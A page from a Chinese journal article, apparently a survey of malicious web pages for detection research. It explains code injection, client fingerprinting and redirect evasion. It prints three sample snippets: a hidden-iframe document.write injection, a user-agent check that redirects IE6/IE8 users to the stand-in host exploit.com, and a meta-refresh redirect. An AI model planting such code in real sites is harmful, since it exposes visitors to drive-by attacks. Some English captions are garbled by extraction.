Page 296 - 《软件学报》2021年第9期
P. 296
2920 Journal of Software 软件学报 Vol.32, No.9, September 2021
意代码,例如 JavaScript 语言中自带的 eval 函数可以动态执行脚本代码,以及使用 document.write 函数修改页面
的 DOM 结构实现外部恶意代码注入.如图 4 所示是一段利用 document.write 函数动态创建一个指向恶意 URL
的 iframe 标签,实现注入外部恶意代码.基于以上对恶意代码分析可以看出:页面代码注入的特点主要体现在页
面源代码中,攻击者通过动态执行将恶意标签注入到页面中.
〈script〉
document.write(“〈iframe width=‘0’ height=‘0’ src=‘maliciousSite’〉〈/iframe〉”);
//使用 document.write 函数动态创建标签,注入恶意代码
〈/script〉
Fig.4 JS for A sample of dynamica HTML taglly creatgenerationed HTML tag
图 4 动态写入创建 HTML 标签生成 JS 代码示例样本
2.3 客户端环境探测
针对不同客户端环境之间存在的差异性,攻击者通常精心编写 JavaScript 脚本代码对客户端环境进行探测,
实现更加精准地攻击特定用户群体,而且针对客户端环境的探测也可以有效地识别检测引擎.如图 5 中是一段
对客户端环境进行探测的恶意 JavaScript 代码,其中,第 2 行~第 6 行 JavaScript 脚本代码实现判断客户端是否为
真实浏览器的功能.因为模拟浏览器不会造成 ActiveXObject 异常,但是恶意代码故意抛出 ActiveXObject 异常,
因此只有支持处理异常的真实浏览器才会继续执行后续的操作.
恶意代码通过客户端的 UserAgent 字段获取浏览器指纹信息,并将其存储在变量 ua 中,使用条件分支语句
进行判断.如果变量 ua 包含“msie 6”或“msie 8”字符串,则分别执行不同的重定向代码,即客户端浏览器为 IE6 的
用户会被重定向跳转到“http://exploit.com/IE6/”的网址,而客户端浏览器为 IE8 的用户被重定向到“http://exploit.
com/IE8/”的网址,其他不符合浏览器版本的用户则不会发生重定向跳转.只有浏览器是 IE6 和 IE8 版本的用户
才会被跳转到真正的恶意 URL.基于以上分析可以看出:客户端环境探测的特点主要体现在页面源代码和会话
流程中,攻击者通过客户端环境探测代码识别用户的客户端,并针对不同客户端环境的用户,分别重定向到不同
的恶意网站.
〈script〉 var ua=“⋅”;
try {
new ActiveXObject(“dummy”); //尝试创建一个ActiveXObject对象
} catch (e) {
ua=window.navigator.userAgent.toLowerCase(⋅); //获取客户端的浏览器版本信息
}
if (ua.indexOf(“msie 6”)!=−1) { //判断客户端浏览器是否为IE6版本
location.href=“http://exploit.com/IE6/”; //针对IE6版本进行攻击的URL地址
}
else if (ua.indexOf(“msie 8”)!=−1) { //判断客户端浏览器是否为IE8版本
location.href=“http://exploit.com/IE8/”; //针对IE8版本进行攻击的URL地址
} 〈/script〉
Fig.5 Fig.5 A sample ofJS for client environment recognitiondetection
图 5 客户端环境识别样本
2.4 页面重定向跳转
为了使检测引擎难以跟踪和发现恶意 URL 的真实地址,攻击者还会在页面中插入进行自动重定向跳转的
恶意代码,以此来逃避安全软件的检测.其中,恶意网页最常使用 Meta 标签设置页面进行刷新重定向,如图 6 所
示的恶意代码是在页面中设置 Meta 标签中的 http-equiv,content 和 url 属性值,从而实现在等待 0.1s 后进行自动
刷新,然后重定向跳转到恶意 URLexploit.com.
〈Meta http-equiv=“refresh” content=“0.1; url=http://exploit.com”〉
//使用标签0.1秒后自动刷新进行重定向
Fig.6 A sample JS forof automatically redirected malicious codeion
图 6 自动重定向跳转的恶意代码 JS 样本